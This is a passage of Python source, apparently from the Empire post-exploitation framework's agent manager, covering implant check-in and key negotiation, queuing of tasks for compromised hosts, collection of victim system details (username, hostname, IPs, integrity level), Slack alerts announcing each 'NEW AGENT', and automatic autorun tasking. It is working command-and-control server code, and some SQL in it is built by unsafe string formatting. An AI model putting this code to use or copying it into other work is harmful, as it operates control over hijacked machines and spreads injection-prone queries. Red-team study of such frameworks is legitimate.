                cur.execute("UPDATE agents SET results=? WHERE session_id=?", ['', sessionID])
                cur.close()
            finally:
                self.lock.release()

            if results and results[0] and results[0] != '':
                out = json.loads(results[0])
                if out:
                    return "\n".join(out)
            else:
                return ''


    def get_agent_id_db(self, name):
        """
        Get an agent sessionID based on the name.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT session_id FROM agents WHERE name=?", [name])
            results = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()
        if results:
            return results[0]
        else:
            return None


    def get_agent_name_db(self, sessionID):
        """
        Return an agent name based on sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT name FROM agents WHERE session_id = ? or name = ?", [sessionID, sessionID])
            results = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if results:
            return results[0]
        else:
            return None


    def get_agent_hostname_db(self, sessionID):
        """
        Return an agent's hostname based on sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT hostname FROM agents WHERE session_id=? or name=?", [sessionID, sessionID])
            results = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if results:
            return results[0]
        else:
            return None


    def get_agent_os_db(self, sessionID):
        """
        Return an agent's operating system details based on sessionID.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT os_details FROM agents WHERE session_id=? or name=?", [sessionID, sessionID])
            results = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if results:
            return results[0]
        else:
            return None


    def get_agent_functions(self, sessionID):
        """
        Get the tab-completable functions for an agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        results = []

        try:
            self.lock.acquire()
            if sessionID in self.agents:
                results = self.agents[sessionID]['functions']
        finally:
            self.lock.release()

        return results


    def get_agent_functions_db(self, sessionID):
        """
        Return the tab-completable functions for an agent from the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT functions FROM agents WHERE session_id=? OR name=?", [sessionID, sessionID])
            functions = cur.fetchone()
            cur.close()
        finally:
            self.lock.release()

        if functions is not None and functions[0] is not None:
            return functions[0].split(',')
        else:
            return []


    def get_agents_for_listener(self, listenerName):
        """
        Return agent objects linked to a given listener name.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT session_id FROM agents WHERE listener=?", [listenerName])
            results = cur.fetchall()
            cur.close()
        finally:
            self.lock.release()

        # make sure names all ascii encoded
        results = [r[0].encode('ascii', 'ignore') for r in results]
        return results


    def get_agent_names_listener_db(self, listenerName):
        """
        Return agent names linked to the given listener name.
        """

        conn = self.get_db_connection()

        try:
            self.lock.acquire()
            oldFactory = conn.row_factory
            conn.row_factory = helpers.dict_factory # return results as a dictionary
            cur = conn.cursor()
            cur.execute("SELECT * FROM agents WHERE listener=?", [listenerName])
            agents = cur.fetchall()
            cur.close()
            conn.row_factory = oldFactory
        finally:
            self.lock.release()

        return agents


    def get_autoruns_db(self):
        """
        Return any global script autoruns.
        """

        conn = self.get_db_connection()

        autoruns = None

        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("SELECT autorun_command FROM config")
            results = cur.fetchone()
            if results:
                autorun_command = results[0]
            else:
                autorun_command = ''

            cur = conn.cursor()
            cur.execute("SELECT autorun_data FROM config")
            results = cur.fetchone()
            if results:
                autorun_data = results[0]
            else:
                autorun_data = ''
            cur.close()
            autoruns = [autorun_command, autorun_data]
        finally:
            self.lock.release()

        return autoruns

    ###############################################################
    #
    # Methods to update agent information fields.
    #
    ###############################################################
    def update_dir_list(self, session_id, response):
        """"
        Update the directory list
        """
        name_id = self.get_agent_id_db(session_id)
        if name_id:
            session_id = name_id

        if session_id in self.agents:
            conn = self.get_db_connection()
            old_factory = conn.row_factory
            conn.row_factory = sqlite3.Row
            try:
                self.lock.acquire()
                cur = conn.cursor()

                # get existing files/dir that are in this directory.
                # delete them and their children to keep everything up to date. There's a cascading delete on the table.
                this_directory = cur.execute("SELECT * FROM file_directory where session_id = ? and path = ?",
                                             [session_id, response['directory_path']]).fetchone()
                if this_directory:
                    cur.execute("DELETE FROM file_directory WHERE session_id = ? and parent_id = ?",
                                [session_id, this_directory['id']])
                else:  # if the directory doesn't exist we have to create one
                    # parent is None for now even though it might have one. This is self correcting.
                    # If it's true parent is scraped, then this entry will get rewritten
                    cur.execute("INSERT INTO file_directory  ('name', 'path', 'parent_id', 'is_file', 'session_id')VALUES ('{0}', '{1}', '{2}', '{3}', '{4}')"
                                .format(response['directory_name'], response['directory_path'], None, 0, session_id))
                    this_directory = cur.execute("SELECT * FROM file_directory where session_id = ? and path = ?",
                                                 [session_id, response['directory_path']]).fetchone()

                delete = ""
                insert = "INSERT INTO file_directory  ('name', 'path', 'parent_id', 'is_file', 'session_id') VALUES "
                insert_arr = []
                # insert all the new items
                for item in response['items']:
                    # Delete it if its already there so that we can be self correcting
                    delete += f"\nDELETE FROM file_directory WHERE session_id = '{session_id}' AND path = '{item['path']}';"
                    insert_arr.append(f"('{item['name']}', '{item['path']}', '{None if not this_directory else this_directory['id']}', '{1 if item['is_file'] is True else 0}', '{session_id}')")

                if len(insert_arr) > 0:
                    cur.executescript(delete)
                    cur.execute(insert + ','.join(insert_arr) + ';')
                cur.close()
            finally:
                conn.row_factory = old_factory
                self.lock.release()

    def update_agent_results_db(self, sessionID, results):
        """
        Update agent results in the database.
        """

        # see if we were passed a name instead of an ID
        if isinstance(results, bytes):
            results = results.decode('UTF-8')

        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID in self.agents:
            conn = self.get_db_connection()
            try:
                self.lock.acquire()
                cur = conn.cursor()

                # get existing agent results
                cur.execute("SELECT results FROM agents WHERE session_id LIKE ?", [sessionID])
                agent_results = cur.fetchone()
                if agent_results and agent_results[0]:
                    agent_results = json.loads(agent_results[0])
                else:
                    agent_results = []

                agent_results.append(results)
                cur.execute("UPDATE agents SET results=? WHERE session_id=?", [json.dumps(agent_results), sessionID])
                cur.close()
            finally:
                self.lock.release()
        else:
            message = "[!] Non-existent agent %s returned results".format(sessionID)
            signal = json.dumps({
                'print': True,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))


    def update_agent_sysinfo_db(self, sessionID, listener='', external_ip='', internal_ip='', username='', hostname='', os_details='', high_integrity=0, process_name='', process_id='', language_version='', language=''):
        """
        Update an agent's system information.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE agents SET internal_ip = ?, username = ?, hostname = ?, os_details = ?, high_integrity = ?, process_name = ?, process_id = ?, language_version = ?, language = ? WHERE session_id=?", [internal_ip, username, hostname, os_details, high_integrity, process_name, process_id, language_version, language, sessionID])
            cur.close()
        finally:
            self.lock.release()


    def update_agent_lastseen_db(self, sessionID, current_time=None):
        """
        Update the agent's last seen timestamp in the database.
        """

        if not current_time:
            current_time = helpers.getutcnow()
        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE agents SET lastseen_time=? WHERE session_id=? OR name=?", [current_time, sessionID, sessionID])
            cur.close()
        finally:
            self.lock.release()


    def update_agent_listener_db(self, sessionID, listenerName):
        """
        Update the specified agent's linked listener name in the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE agents SET listener=? WHERE session_id=? OR name=?", [listenerName, sessionID, sessionID])
            cur.close()
        finally:
            self.lock.release()


    def rename_agent(self, oldname, newname):
        """
        Rename a given agent from 'oldname' to 'newname'.
        """

        if not newname.isalnum():
            print(helpers.color("[!] Only alphanumeric characters allowed for names."))
            return False

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            # rename the logging/downloads folder
            oldPath = "%s/downloads/%s/" % (self.installPath, oldname)
            newPath = "%s/downloads/%s/" % (self.installPath, newname)
            retVal = True

            # check if the folder is already used
            if os.path.exists(newPath):
                print(helpers.color("[!] Name already used by current or past agent."))
                retVal = False
            else:
                # move the old folder path to the new one
                if os.path.exists(oldPath):
                    os.rename(oldPath, newPath)

                # rename the agent in the database
                cur = conn.cursor()
                cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname])
                events.agent_rename(oldname, newname)
                cur.close()

                retVal = True
        finally:
            self.lock.release()

        # signal in the log that we've renamed the agent
        self.save_agent_log(oldname, "[*] Agent renamed from %s to %s" % (oldname, newname))

        return retVal

    def set_agent_field_db(self, field, value, sessionID):
        """
        Set field:value for a particular sessionID in the database.
        """

        conn = self.get_db_connection()
        cur = conn.cursor()
        cur.execute("UPDATE agents SET " + str(field) + "=? WHERE session_id=? OR name=?", [value, sessionID, sessionID])
        cur.close()


    def set_agent_functions_db(self, sessionID, functions):
        """
        Set the tab-completable functions for the agent in the database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID in self.agents:
            self.agents[sessionID]['functions'] = functions

        functions = ','.join(functions)

        conn = self.get_db_connection()
        cur = conn.cursor()
        cur.execute("UPDATE agents SET functions=? WHERE session_id=?", [functions, sessionID])
        cur.close()


    def set_autoruns_db(self, taskCommand, moduleData):
        """
        Set the global script autorun in the config in the database.
        """

        try:
            conn = self.get_db_connection()
            cur = conn.cursor()
            cur.execute("UPDATE config SET autorun_command=?", [taskCommand])
            cur.execute("UPDATE config SET autorun_data=?", [moduleData])
            cur.close()
        except Exception:
            print(helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema."))
            print(helpers.color("[!] Warning: this will reset ALL agent connections!"))


    def clear_autoruns_db(self):
        """
        Clear the currently set global script autoruns in the config in the database.
        """

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE config SET autorun_command=''")
            cur.execute("UPDATE config SET autorun_data=''")
            cur.close()
        finally:
            self.lock.release()


    ###############################################################
    #
    # Agent tasking methods
    #
    ###############################################################

    def add_agent_task_db(self, sessionID, taskName, task='', moduleName=None, uid=None):
        """
        Add a task to the specified agent's buffer in the database.
        """
        agentName = sessionID
        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        timestamp = helpers.getutcnow()

        if nameid:
            sessionID = nameid

        if sessionID not in self.agents:
            print(helpers.color("[!] Agent %s not active." % (agentName)))
        else:
            if sessionID:
                message = "[*] Tasked {} to run {}".format(sessionID, taskName)
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))

                conn = self.get_db_connection()
                try:
                    self.lock.acquire()
                    # get existing agent taskings
                    cur = conn.cursor()
                    cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
                    agent_tasks = cur.fetchone()

                    if agent_tasks and agent_tasks[0]:
                        agent_tasks = json.loads(agent_tasks[0])
                    else:
                        agent_tasks = []

                    pk = cur.execute("SELECT max(id) from taskings where agent=?", [sessionID]).fetchone()[0]
                    if pk is None:
                        pk = 0
                    pk = (pk + 1) % 65536
                    cur.execute("INSERT INTO taskings (id, agent, data, user_id, timestamp, module_name) VALUES(?,?,?,?,?,?)",
                                [pk, sessionID, task[:100], uid, timestamp, moduleName])
                    # self.mainMenu.socketio.emit('agent/task', {'sessionID': sessionID, 'taskID': pk, 'data': task[:100]})

                    # Create result for data when it arrives
                    cur.execute("INSERT INTO results (id, agent, user_id) VALUES (?,?,?)", (pk, sessionID, uid))

                    # append our new json-ified task and update the backend
                    agent_tasks.append([taskName, task, pk])
                    cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])

                    # update last seen time for user
                    last_logon = helpers.getutcnow()
                    cur.execute("UPDATE users SET last_logon_time = ? WHERE id = ?",
                                (last_logon, uid))

                    # dispatch this event
                    message = "[*] Agent {} tasked with task ID {}".format(sessionID, pk)
                    signal = json.dumps({
                        'print': True,
                        'message': message,
                        'task_name': taskName,
                        'task_id': pk,
                        'task': task,
                        'event_type': 'task'
                    })
                    dispatcher.send(signal, sender="agents/{}".format(sessionID))

                    cur.close()

                    # write out the last tasked script to "LastTask" if in debug mode
                    if self.args and self.args.debug:
                        f = open('%s/LastTask' % (self.installPath), 'w')
                        f.write(task)
                        f.close()
                    return pk

                finally:
                    self.lock.release()


    def get_agent_tasks_db(self, sessionID):
        """
        Retrieve tasks for our agent from the database.
        """

        agentName = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID not in self.agents:
            print(helpers.color("[!] Agent %s not active." % (agentName)))
            return []
        else:
            conn = self.get_db_connection()
            try:
                self.lock.acquire()
                cur = conn.cursor()
                cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
                tasks = cur.fetchone()

                if tasks and tasks[0]:
                    tasks = json.loads(tasks[0])
                    # clear the taskings out
                    cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', sessionID])
                else:
                    tasks = []

                cur.close()
            finally:
                self.lock.release()

            return tasks


    def get_agent_tasks_listener_db(self, listenerName):
        """
        Retrieve tasks for our agent from the database keyed by the
        supplied listner name.

        returns a list of (sessionID, taskings) tuples
        """

        conn = self.get_db_connection()
        results = []

        try:
            self.lock.acquire()
            oldFactory = conn.row_factory
            conn.row_factory = helpers.dict_factory # return results as a dictionary
            cur = conn.cursor()
            cur.execute("SELECT session_id,listener,taskings FROM agents WHERE listener=? AND taskings IS NOT NULL", [listenerName])
            agents = cur.fetchall()

            for agent in agents:
                # print agent
                if agent['taskings']:
                    tasks = json.loads(agent['taskings'])
                    # clear the taskings out
                    cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', agent['session_id']])
                    results.append((agent['session_id'], tasks))
            cur.close()
            conn.row_factory = oldFactory
        finally:
            self.lock.release()

        return results


    def clear_agent_tasks_db(self, sessionID):
        """
        Clear out one (or all) agent tasks in the database.
        """

        if sessionID.lower() == "all":
            sessionID = '%'

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            cur = conn.cursor()
            cur.execute("UPDATE agents SET taskings=? WHERE session_id LIKE ? OR name LIKE ?", ['', sessionID, sessionID])
            cur.close()
        finally:
            self.lock.release()

        if sessionID == '%':
            sessionID = 'all'

        message = "[*] Tasked {} to clear tasks".format(sessionID)
        signal = json.dumps({
            'print': True,
            'message': message
        })
        dispatcher.send(signal, sender="agents/{}".format(sessionID))


    ###############################################################
    #
    # Agent staging/data processing components
    #
    ###############################################################

    def handle_agent_staging(self, sessionID, language, meta, additional, encData, stagingKey, listenerOptions, clientIP='0.0.0.0'):
        """
        Handles agent staging/key-negotiation.
        TODO: does this function need self.lock?
        """

        listenerName = listenerOptions['Name']['Value']

        if meta == 'STAGE0':
            # step 1 of negotiation -> client requests staging code
            return 'STAGE0'

        elif meta == 'STAGE1':
            # step 3 of negotiation -> client posts public key
            message = "[*] Agent {} from {} posted public key".format(sessionID, clientIP)
            signal = json.dumps({
                'print': False,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))

            # decrypt the agent's public key
            try:
                message = encryption.aes_decrypt_and_verify(stagingKey, encData)
            except Exception as e:
                print('exception e:' + str(e))
                # if we have an error during decryption
                message = "[!] HMAC verification failed from '{}'".format(sessionID)
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
                return 'ERROR: HMAC verification failed'

            if language.lower() == 'powershell':
                # strip non-printable characters
                message = ''.join([x for x in message.decode('UTF-8') if x in string.printable])

                # client posts RSA key
                if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")):
                    message = "[!] Invalid PowerShell key post format from {}".format(sessionID)
                    signal = json.dumps({
                        'print': True,
                        'message': message
                    })
                    dispatcher.send(signal, sender="agents/{}".format(sessionID))
                    return 'ERROR: Invalid PowerShell key post format'
                else:
                    # convert the RSA key from the stupid PowerShell export format
                    rsaKey = encryption.rsa_xml_to_key(message)

                    if rsaKey:
                        message = "[*] Agent {} from {} posted valid PowerShell RSA key".format(sessionID, clientIP)
                        signal = json.dumps({
                            'print': False,
                            'message': message
                        })
                        dispatcher.send(signal, sender="agents/{}".format(sessionID))
                        nonce = helpers.random_string(16, charset=string.digits)
                        delay = listenerOptions['DefaultDelay']['Value']
                        jitter = listenerOptions['DefaultJitter']['Value']
                        profile = listenerOptions['DefaultProfile']['Value']
                        killDate = listenerOptions['KillDate']['Value']
                        workingHours = listenerOptions['WorkingHours']['Value']
                        lostLimit = listenerOptions['DefaultLostLimit']['Value']

                        # add the agent to the database now that it's "checked in"
                        self.mainMenu.agents.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours, lostLimit, nonce=nonce, listener=listenerName)

                        if self.mainMenu.socketio:
                            self.mainMenu.socketio.emit('agents/new', self.get_agent_for_socket(sessionID),
                                                        broadcast=True)

                        clientSessionKey = self.mainMenu.agents.get_agent_session_key_db(sessionID)
                        data = "%s%s" % (nonce, clientSessionKey)

                        data = data.encode('ascii', 'ignore') # TODO: is this needed?

                        # step 4 of negotiation -> server returns RSA(nonce+AESsession))
                        encryptedMsg = encryption.rsa_encrypt(rsaKey, data)
                        # TODO: wrap this in a routing packet!

                        return encryptedMsg

                    else:
                        message = "[!] Agent {} returned an invalid PowerShell public key!".format(sessionID)
                        signal = json.dumps({
                            'print': True,
                            'message': message
                        })
                        dispatcher.send(signal, sender="agents/{}".format(sessionID))
                        return 'ERROR: Invalid PowerShell public key'

            elif language.lower() == 'python':
                if ((len(message) < 1000) or (len(message) > 2500)):
                    message = "[!] Invalid Python key post format from {}".format(sessionID)
                    signal = json.dumps({
                        'print': True,
                        'message': message
                    })
                    dispatcher.send(signal, sender="agents/{}".format(sessionID))
                    return "Error: Invalid Python key post format from %s" % (sessionID)
                else:
                    try:
                        int(message)
                    except:
                        message = "[!] Invalid Python key post format from {}".format(sessionID)
                        signal = json.dumps({
                            'print': True,
                            'message': message
                        })
                        dispatcher.send(signal, sender="agents/{}".format(sessionID))
                        return "Error: Invalid Python key post format from {}".format(sessionID)

                    # client posts PUBc key
                    clientPub = int(message)
                    serverPub = encryption.DiffieHellman()
                    serverPub.genKey(clientPub)
                    # serverPub.key == the negotiated session key

                    nonce = helpers.random_string(16, charset=string.digits)

                    message = "[*] Agent {} from {} posted valid Python PUB key".format(sessionID, clientIP)
                    signal = json.dumps({
                        'print': True,
                        'message': message
                    })
                    dispatcher.send(signal, sender="agents/{}".format(sessionID))

                    delay = listenerOptions['DefaultDelay']['Value']
                    jitter = listenerOptions['DefaultJitter']['Value']
                    profile = listenerOptions['DefaultProfile']['Value']
                    killDate = listenerOptions['KillDate']['Value']
                    workingHours = listenerOptions['WorkingHours']['Value']
                    lostLimit = listenerOptions['DefaultLostLimit']['Value']

                    # add the agent to the database now that it's "checked in"
                    self.mainMenu.agents.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours, lostLimit, sessionKey=serverPub.key, nonce=nonce, listener=listenerName)

                    if self.mainMenu.socketio:
                        self.mainMenu.socketio.emit('agents/new', self.get_agent_for_socket(sessionID),
                                                    broadcast=True)

                    # step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs))
                    data = "%s%s" % (nonce, serverPub.publicKey)
                    encryptedMsg = encryption.aes_encrypt_then_hmac(stagingKey, data)
                    # TODO: wrap this in a routing packet?

                    return encryptedMsg

            else:
                message = "[*] Agent {} from {} using an invalid language specification: {}".format(sessionID, clientIP, language)
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
                return 'ERROR: invalid language: {}'.format(language)

        elif meta == 'STAGE2':
            # step 5 of negotiation -> client posts nonce+sysinfo and requests agent

            sessionKey = (self.agents[sessionID]['sessionKey'])
            if isinstance(sessionKey, str):
                sessionKey = (self.agents[sessionID]['sessionKey']).encode('UTF-8')

            try:
                message = encryption.aes_decrypt_and_verify(sessionKey, encData)
                parts = message.split(b'|')

                if len(parts) < 12:
                    message = "[!] Agent {} posted invalid sysinfo checkin format: {}".format(sessionID, message)
                    signal = json.dumps({
                        'print': True,
                        'message': message
                    })
                    dispatcher.send(signal, sender="agents/{}".format(sessionID))
                    # remove the agent from the cache/database
                    self.mainMenu.agents.remove_agent_db(sessionID)
                    return "ERROR: Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message)

                # verify the nonce
                if int(parts[0]) != (int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1):
                    message = "[!] Invalid nonce returned from {}".format(sessionID)
                    signal = json.dumps({
                        'print': True,
                        'message': message
                    })
                    dispatcher.send(signal, sender="agents/{}".format(sessionID))
                    # remove the agent from the cache/database
                    self.mainMenu.agents.remove_agent_db(sessionID)
                    return "ERROR: Invalid nonce returned from %s" % (sessionID)

                message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID, message)
                signal = json.dumps({
                    'print': False,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))

                listener = str(parts[1], 'utf-8')
                domainname = str(parts[2], 'utf-8')
                username = str(parts[3], 'utf-8')
                hostname = str(parts[4], 'utf-8')
                external_ip = clientIP
                internal_ip = str(parts[5], 'utf-8')
                os_details = str(parts[6], 'utf-8')
                high_integrity = str(parts[7], 'utf-8')
                process_name = str(parts[8], 'utf-8')
                process_id = str(parts[9], 'utf-8')
                language = str(parts[10], 'utf-8')
                language_version = str(parts[11], 'utf-8')
                if high_integrity == "True":
                    high_integrity = 1
                else:
                    high_integrity = 0

            except Exception as e:
                message = "[!] Exception in agents.handle_agent_staging() for {} : {}".format(sessionID, e)
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
                # remove the agent from the cache/database
                self.mainMenu.agents.remove_agent_db(sessionID)
                return "Error: Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e)

            if domainname and domainname.strip() != '':
                username = "%s\\%s" % (domainname, username)

            # update the agent with this new information
            self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listenerName, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)

            # signal to Slack that this agent is now active

            slack_webhook_url = listenerOptions['SlackURL']['Value']
            if slack_webhook_url != "":
                slack_text = ":biohazard_sign: NEW AGENT :biohazard_sign:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID)
                helpers.slackMessage(slack_webhook_url,slack_text)

            # signal everyone that this agent is now active
            message = "[+] Initial agent {} from {} now active (Slack)".format(sessionID, clientIP)
            signal = json.dumps({
                'print': True,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))

            # save the initial sysinfo information in the agent log
            agent = self.mainMenu.agents.get_agent_db(sessionID)

            lastseen_time = datetime.fromisoformat(agent['lastseen_time']).astimezone(timezone.utc)
            stale = helpers.is_stale(lastseen_time, agent['delay'], agent['jitter'])
            agent['stale'] = stale
            if self.mainMenu.socketio:
                self.mainMenu.socketio.emit('agents/stage2', agent, broadcast=True)

            output = messages.display_agent(agent, returnAsString=True)
            output += "\n[+] Agent %s now active:\n" % (sessionID)
            self.mainMenu.agents.save_agent_log(sessionID, output)

            # if a script autorun is set, set that as the agent's first tasking
            autorun = self.get_autoruns_db()
            if autorun and autorun[0] != '' and autorun[1] != '':
                self.add_agent_task_db(sessionID, autorun[0], autorun[1])

            if language.lower() in self.mainMenu.autoRuns and len(self.mainMenu.autoRuns[language.lower()]) > 0:
                autorunCmds = ["interact %s" % sessionID]
                autorunCmds.extend(self.mainMenu.autoRuns[language.lower()])
                autorunCmds.extend(["lastautoruncmd"])
                self.mainMenu.resourceQueue.extend(autorunCmds)
                try:
                    #this will cause the cmdloop() to start processing the autoruns
                    self.mainMenu.do_agents("kickit")
                except Exception as e:
                    if e == "endautorun":
                        pass
                    else:
                        print(helpers.color("[!] End of Autorun Queue" ))

            return "STAGE2: %s" % (sessionID)

        else:
            message = "[!] Invalid staging request packet from {} at {} : {}".format(sessionID, clientIP, meta)
            signal = json.dumps({
                'print': True,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))

    def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0', update_lastseen=True):
        """
        Take the routing packet w/ raw encrypted data from an agent and
        process as appropriately.

        Abstracted out sufficiently for any listener module to use.
        """
        if len(routingPacket) < 20:
            message = "[!] handle_agent_data(): routingPacket wrong length: {}".format(len(routingPacket))
            signal = json.dumps({
                'print': False,
                'message': message
            })
            dispatcher.send(signal, sender="empire")
            return None

        if isinstance(routingPacket, str):
            routingPacket = routingPacket.encode('UTF-8')
        routingPacket = packets.parse_routing_packet(stagingKey, routingPacket)
        if not routingPacket:
            return [('', "ERROR: invalid routing packet")]

        dataToReturn = []

        # process each routing packet
        for sessionID, (language, meta, additional, encData) in routingPacket.items():
            if meta == 'STAGE0' or meta == 'STAGE1' or meta == 'STAGE2':
                message = "[*] handle_agent_data(): sessionID {} issued a {} request".format(sessionID, meta)
                signal = json.dumps({
                    'print': False,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
                dataToReturn.append((language, self.handle_agent_staging(sessionID, language, meta, additional, encData, stagingKey, listenerOptions, clientIP)))

            elif sessionID not in self.agents:
                message = "[!] handle_agent_data(): sessionID {} not present".format(sessionID)
                signal = json.dumps({
                    'print': False,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
                dataToReturn.append(('', "ERROR: sessionID %s not in cache!" % (sessionID)))

            elif meta == 'TASKING_REQUEST':
                message = "[*] handle_agent_data(): sessionID {} issued a TASKING_REQUEST".format(sessionID)
                signal = json.dumps({
                    'print': False,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
                dataToReturn.append((language, self.handle_agent_request(sessionID, language, stagingKey)))

            elif meta == 'RESULT_POST':
                message = "[*] handle_agent_data(): sessionID {} issued a RESULT_POST".format(sessionID)
                signal = json.dumps({
                    'print': False,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
                dataToReturn.append((language, self.handle_agent_response(sessionID, encData, update_lastseen)))

            else:
                message = "[!] handle_agent_data(): sessionID {} gave unhandled meta tag in routing packet: {}".format(sessionID, meta)
                signal = json.dumps({
                    'print': True,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))
        return dataToReturn


    def handle_agent_request(self, sessionID, language, stagingKey, update_lastseen=True):
        """
        Update the agent's last seen time and return any encrypted taskings.

        TODO: does this need self.lock?
        """
        if sessionID not in self.agents:
            message = "[!] handle_agent_request(): sessionID {} not present".format(sessionID)
            signal = json.dumps({
                'print': True,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))
            return None

        # update the client's last seen time
        if update_lastseen:
            self.update_agent_lastseen_db(sessionID)

        # retrieve all agent taskings from the cache
        taskings = self.get_agent_tasks_db(sessionID)

        if taskings and taskings != []:

            all_task_packets = b''

            # build tasking packets for everything we have
            for tasking in taskings:
                task_name, task_data, res_id = tasking

                all_task_packets += packets.build_task_packet(task_name, task_data, res_id)

            # get the session key for the agent
            session_key = self.agents[sessionID]['sessionKey']

            # encrypt the tasking packets with the agent's session key
            encrypted_data = encryption.aes_encrypt_then_hmac(session_key, all_task_packets)

            return packets.build_routing_packet(stagingKey, sessionID, language, meta='SERVER_RESPONSE', encData=encrypted_data)

        # if no tasking for the agent
        else:
            return None


    def handle_agent_response(self, sessionID, encData, update_lastseen=False):
        """
        Takes a sessionID and posted encrypted data response, decrypt
        everything and handle results as appropriate.

        TODO: does this need self.lock?
        """

        if sessionID not in self.agents:
            message = "[!] handle_agent_response(): sessionID {} not in cache".format(sessionID)
            signal = json.dumps({
                'print': True,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))
            return None

        # extract the agent's session key
        sessionKey = self.agents[sessionID]['sessionKey']

        # update the client's last seen time
        if update_lastseen:
            self.update_agent_lastseen_db(sessionID)

        try:
            # verify, decrypt and depad the packet
            packet = encryption.aes_decrypt_and_verify(sessionKey, encData)

            # process the packet and extract necessary data
            responsePackets = packets.parse_result_packets(packet)
            results = False
            # process each result packet
            for (responseName, totalPacket, packetNum, taskID, length, data) in responsePackets:
                # process the agent's response
                self.process_agent_packet(sessionID, responseName, taskID, data)
                results = True
            if results:
                # signal that this agent returned results
                message = "[*] Agent {} returned results.".format(sessionID)
                signal = json.dumps({
                    'print': False,
                    'message': message
                })
                dispatcher.send(signal, sender="agents/{}".format(sessionID))

            # return a 200/valid
            return 'VALID'


        except Exception as e:
            message = "[!] Error processing result packet from {} : {}".format(sessionID, e)
            signal = json.dumps({
                'print': True,
                'message': message
            })
            dispatcher.send(signal, sender="agents/{}".format(sessionID))

            # TODO: stupid concurrency...
            #   when an exception is thrown, something causes the lock to remain locked...
            # if self.lock.locked():
            #     self.lock.release()
            return None


    def process_agent_packet(self, sessionID, responseName, taskID, data):
        """
        Handle the result packet based on sessionID and responseName.
        """

        agentSessionID = sessionID
        keyLogTaskID = None

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

